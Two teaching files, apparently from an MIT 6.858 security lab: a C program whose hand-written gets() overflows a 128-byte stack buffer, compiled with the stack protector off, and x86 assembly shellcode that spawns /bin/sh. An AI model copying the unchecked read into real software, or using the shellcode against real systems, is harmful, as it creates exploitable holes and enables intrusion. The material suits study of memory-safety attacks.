```c
/*
 * readreq.c
 *    (MIT 6.858)
 * compile with
 *   $ gcc -g -Wall -m32 -fno-stack-protector -o readreq readreq.c
 */
#include <stdio.h>
#include <stdlib.h>

char *
gets(char *buf) {
  int c;
  while((c = getchar()) != EOF && c != '\n')
    *buf++ = c;
  *buf = '\0';
  return buf;
}

int
read_req(void) {
  char buf[128];
  int i;
  gets(buf);
  i = atoi(buf);
  return i;
}

int
main() {
  int x = read_req();
  printf("x = %d\n", x);
}

```



```
/* shellcode.S
 *   (MIT 6.858, derived from Aleph One's shellcode)
 */

#include <sys/syscall.h>

#define STRING  "/bin/sh"
#define STRLEN  7
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+4)

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        movl    %esi,(ARGV)(%esi)       /* set up argv pointer to pathname */
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */
        movl    %eax,(ENVP)(%esi)       /* set up null envp */

        movb    $SYS_execve,%al         /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        leal    ARGV(%esi),%ecx         /* syscall arg 2: argv */
        leal    ENVP(%esi),%edx         /* syscall arg 3: envp */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING
```